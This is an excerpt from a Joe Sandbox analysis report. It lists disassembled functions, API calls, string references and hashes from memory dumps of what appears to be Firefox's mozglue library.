moz_xmalloc.MOZGLUE(00000012), ref: 6C4DED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4DEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C4DEDCC
CreateFileW.KERNEL32 ref: 6C4DEE08
free.MOZGLUE(00000000), ref: 6C4DEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C4DEE32

Part of subcall function 6C4DEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C4DEBB5
Part of subcall function 6C4DEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C50D7F3), ref: 6C4DEBC3
Part of subcall function 6C4DEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C50D7F3), ref: 6C4DEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C4DEDC1

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: d697ab5230745a9459d99636536c2fe5dbee8f92bc6926a79df30218a2436e87
Instruction ID: 43eec158095b96cf7f8926302b25dc59d230676e3bacc979cb5fb84344dd10ce
Opcode Fuzzy Hash: d697ab5230745a9459d99636536c2fe5dbee8f92bc6926a79df30218a2436e87
Instruction Fuzzy Hash: 5F51BE71D052058BDB01EF68C890EEEF7B1AF59318F46852DE8556B740EB30B949C7E2

Function 6C54A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C54A565

Part of subcall function 6C54A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C54A4BE
Part of subcall function 6C54A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C54A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C54A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C54A6B6

Strings

0, xrefs: 6C54A5FB
z, xrefs: 6C54A6AE

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 9374bc301413b9adc6d19e96f967846c9cbccf54ed49701e6e17568e82fe8dc1
Instruction ID: a22cfca7e0ec4809c0bcded96d63afa0a00d75b452c2d2d3adea9534b530caf2
Opcode Fuzzy Hash: 9374bc301413b9adc6d19e96f967846c9cbccf54ed49701e6e17568e82fe8dc1
Instruction Fuzzy Hash: C94128759087459FC781DF28C480A9FBBE5BFC9354F508A2EF49987650EB30E549CB82

Function 6C519420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
__Init_thread_footer.LIBCMT ref: 6C51949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C51946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C519459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C51947D

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 1baa0e977298eaa6b9b22d2c9bee214a6e47408928c8f5fcbaf62b61ea02219c
Instruction ID: 1f048b8e297d4584bead40d8e529396be2c55c97babd6f4513f76065092be8d0
Opcode Fuzzy Hash: 1baa0e977298eaa6b9b22d2c9bee214a6e47408928c8f5fcbaf62b61ea02219c
Instruction Fuzzy Hash: F001D470A04101CBE700DBADDC19A5E33B5AB4A32DF460A37ED0B86F51E761E864899F

Function 6C520F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C520F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C520F88
GetCurrentThreadId.KERNEL32 ref: 6C520FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C521067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C5210A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C52114B

Part of subcall function 6C518AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C531563), ref: 6C518BD5

free.MOZGLUE(?), ref: 6C521174
free.MOZGLUE(?), ref: 6C521186

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: a3b67d718524de31d804cd38d08506714dc3f23b037f1308ca337e14d4ae707a
Instruction ID: 1ee12da314afcc678db07f88ae9bd056a9d4ad0b99b708fb6127eed362170356
Opcode Fuzzy Hash: a3b67d718524de31d804cd38d08506714dc3f23b037f1308ca337e14d4ae707a
Instruction Fuzzy Hash: C4619975A043409BDB10DF24CC80BABB7F6BFC9318F05891DE88957691EB75E849CB82

Function 6C4DB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB6AC

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C4DB61E), ref: 6C4DB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB79A

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: a0abf0f173e0ee54484b7688bc0681755c98358be7e8d3b55b2a917b7e14179b
Instruction ID: b8ba31d479dfa37159fbea0e31962d52bd514a2a4767d916ef85a0a841be9043
Opcode Fuzzy Hash: a0abf0f173e0ee54484b7688bc0681755c98358be7e8d3b55b2a917b7e14179b
Instruction Fuzzy Hash: 8441B3B2D001159FCB04EF68DC90EAEB7B5BF84324F264669E825E7780E731AD0587E1

Function 6C4DEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C555104), ref: 6C4DEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C4DEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4DEFEC
free.MOZGLUE(?), ref: 6C4DF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C4DF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C4DF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4DF065
moz_xmalloc.MOZGLUE ref: 6C4DF072

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: ab17cfff86e6c12cf7f3f54f705e5eaff69fcb2e950854bd5c28714e0bdb2014
Instruction ID: 8c2c78ee163ce345aeb9a9382c8cdf6224992bad22d44fd63978911aee6e8b1c
Opcode Fuzzy Hash: ab17cfff86e6c12cf7f3f54f705e5eaff69fcb2e950854bd5c28714e0bdb2014
Instruction Fuzzy Hash: D041F6B1A002059FDB18DF68DC90DAE7769BF88318B25422CE815DB794EB31E905C7E1

Function 6C54B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C54B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C54B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C54B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C54B5F4
__Init_thread_footer.LIBCMT ref: 6C54B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C54B61F
std::_Facet_Register.LIBCPMT ref: 6C54B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54B655

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 3afe64e034abeae298276de62a5c64bc6a492aac986c6689da635242f5e9dd0b
Instruction ID: 6bb4df23af8f54ea8cf92ffafdd07cc5e273403050cbfb2a950d692f924c1407
Opcode Fuzzy Hash: 3afe64e034abeae298276de62a5c64bc6a492aac986c6689da635242f5e9dd0b
Instruction Fuzzy Hash: 60318F71B00204CBCF00EF69CC989AEB7B5FF8A324B964519D90697781DB31A906CB95

Function 6C516590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C50FA80: GetCurrentThreadId.KERNEL32 ref: 6C50FA8D
Part of subcall function 6C50FA80: AcquireSRWLockExclusive.KERNEL32(6C55F448), ref: 6C50FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C516727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C5167C8

Part of subcall function 6C524290: memcpy.VCRUNTIME140(?,?,6C532003,6C530AD9,?,6C530AD9,00000000,?,6C530AD9,?,00000004,?,6C531A62,?,6C532003,?), ref: 6C5242C4

Strings

vUl, xrefs: 6C51696C
data, xrefs: 6C516593

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vUl
API String ID: 511789754-3511496017
Opcode ID: 5cd1d3707beeeaa55a1a26ce5f0c3d13a6296c56f248869d1957fa88f458320f
Instruction ID: 1aa911cf9f449c6251d9080a358008f546be6580e3ac84a90826315a0d3c4f27
Opcode Fuzzy Hash: 5cd1d3707beeeaa55a1a26ce5f0c3d13a6296c56f248869d1957fa88f458320f
Instruction Fuzzy Hash: 5BD19E75A083408BD724DF25CC55B9EBBE5EFC5308F50892ED58987B91EB30A849CB92

Function 6C50D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C4DEB57,?,?,?,?,?,?,?,?,?), ref: 6C50D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C4DEB57,?), ref: 6C50D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C4DEB57,?), ref: 6C50D673
free.MOZGLUE(?), ref: 6C50D888

Strings

WMl, xrefs: 6C50D5D9, 6C50D63F
|Enabled, xrefs: 6C50D81E

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WMl$|Enabled
API String ID: 4142949111-27182069
Opcode ID: 066d3dd08ad87baab23353a75acfbe3fa6dcd760d18b791aec3964fdc1d978b9
Instruction ID: 6b77c40a96e019b1baa90a57332318e1965589b368983649f8042ab0972dc88f
Opcode Fuzzy Hash: 066d3dd08ad87baab23353a75acfbe3fa6dcd760d18b791aec3964fdc1d978b9
Instruction Fuzzy Hash: 9AA1E2B0B003058FDB11CF69CC90BAEBBF1AF49318F58855CD899AB742D735A945CBA1

Function 6C4EB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE,?,?,6C51DC2C), ref: 6C4EB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE,?,?,6C51DC2C), ref: 6C4EB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE), ref: 6C4EB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE,?,?,6C51DC2C), ref: 6C4EB896

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 839c88a3d82c51bc44c4efccd10c0a719b3e18bcbae31de6925a7fc76f0cd75d
Instruction ID: 98c30d6e9b0eb1191556452bb368863457d3b27bef8a89c100187807ffe18f21
Opcode Fuzzy Hash: 839c88a3d82c51bc44c4efccd10c0a719b3e18bcbae31de6925a7fc76f0cd75d
Instruction Fuzzy Hash: 1A516A357006048FCB15DF59C888E3AB7F5FF8D31AB5A8559E98A87751C730E802CB88

Function 6C521D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C521D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C521BE3,?,?,6C521D96,00000000), ref: 6C521D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C521BE3,?,?,6C521D96,00000000), ref: 6C521D4C
GetCurrentThreadId.KERNEL32 ref: 6C521DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C521DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C521DDA

Part of subcall function 6C521EF0: GetCurrentThreadId.KERNEL32 ref: 6C521F03
Part of subcall function 6C521EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C521DF2,00000000,00000000), ref: 6C521F0C
Part of subcall function 6C521EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C521F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C521DF4

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 4d48c1c1b37b186809f48fd3841c48588d0a4062081b89d5aa5ebc0c6a5cd385
Instruction ID: 67f9729a0c717aecc77407e37afc9ad5a1c7021f2f71dde8b5abc7677540f3d5
Opcode Fuzzy Hash: 4d48c1c1b37b186809f48fd3841c48588d0a4062081b89d5aa5ebc0c6a5cd385
Instruction Fuzzy Hash: A04166B5200700DFCB10DF29C888A56BBF9FB89324F51442EE99A87B81DB75F854CB95

Function 6C5184E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5184F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5185AC

Part of subcall function 6C517670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51767F
Part of subcall function 6C517670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C517693
Part of subcall function 6C517670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5176A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5185B2

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: f5514833d41c268d0586c29dbe98f8664ea2fd4a283aa33cff697593116be929
Instruction ID: 26680e453d8c64d81b35c69b426c39f1c8ef96ad4c004d80c5ff37e6f3bef7e5
Opcode Fuzzy Hash: f5514833d41c268d0586c29dbe98f8664ea2fd4a283aa33cff697593116be929
Instruction Fuzzy Hash: EC216D742056019BEB24DF29CC88A5A77B5EF8430CF164829E55B83F42EB31F948CB56

Function 6C4E1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C4E1699
VerSetConditionMask.NTDLL ref: 6C4E16CB
VerSetConditionMask.NTDLL ref: 6C4E16D7
VerSetConditionMask.NTDLL ref: 6C4E16DE
VerSetConditionMask.NTDLL ref: 6C4E16E5
VerSetConditionMask.NTDLL ref: 6C4E16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4E16F9

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: f5e20ac4df8c5ef7320001e4d3130bf8f47c8954466bbd478c05012434b97522
Instruction ID: b102370272a60fdb7ddf50535139f1f58e7c24a438c8255c1155fc4aa3c94ab3
Opcode Fuzzy Hash: f5e20ac4df8c5ef7320001e4d3130bf8f47c8954466bbd478c05012434b97522
Instruction Fuzzy Hash: F621D5B07402086FEB11AB648C85FBB73BCEFC6704F414528F6459B181C678AD548AA1

Function 6C51F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
